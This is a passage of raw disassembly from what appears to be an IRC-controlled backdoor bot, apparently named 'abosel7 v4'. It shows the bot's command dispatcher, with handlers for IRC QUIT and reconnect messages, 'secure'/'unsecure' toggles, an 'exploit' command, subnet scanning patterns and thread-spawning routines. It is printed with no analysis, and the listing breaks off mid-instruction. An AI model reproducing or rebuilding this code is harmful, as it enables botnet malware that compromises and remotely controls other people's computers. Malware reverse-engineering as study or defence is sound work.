edi call sub_41B779 test eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax call near ptr 2670A39h nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BE14 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h nop call near ptr 2670ECEh jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j call near ptr 2680930h nop push eax push offset unk_42BDD8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D158 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD9C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h nop call near ptr 2670ECEh jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 2680930h push eax push offset unk_42BD60 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAEC0 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD3C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BD10 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCE4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BCC0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC94 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC7C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC60 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC34 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BC0C jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBEC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 26905D6h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBD4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BBB4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB94 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB70 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2670ECEh jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 2680930h push eax lea eax, [ebp+var_2C4] push offset unk_42BB34 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BB18 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB03C call dword_4CAEFC call sub_418359 push ebx call near ptr 77E75CB5h nop loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAFC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAE0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BAC8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2670ECEh jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 2680930h push eax push offset unk_42BA90 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA78 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA74 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA54 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 2670ECEh jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2680930h push eax push offset unk_42BA18 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42BA00 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACE4 call sub_41A88B pop ecx push eax push offset unk_42B9D4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B984 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B950 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B940 push offset dword_42B930 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B924 push offset dword_42B914 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2670ECEh jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 2680930h push eax push offset dword_42B8B0 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2670ECEh jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2680930h push eax push offset unk_42B844 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B810 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2670ECEh jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 2680930h nop push eax push offset dword_42B7D4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B724 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B714 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9F0 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6E8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B6BC jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9F0 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE758, ebx jz short loc_404A4A push offset dword_4CE138 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B680 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B640 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE138 call sub_41BEB0 pop ecx mov dword_4CE758, 1 pop ecx push esi push offset unk_42B614 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 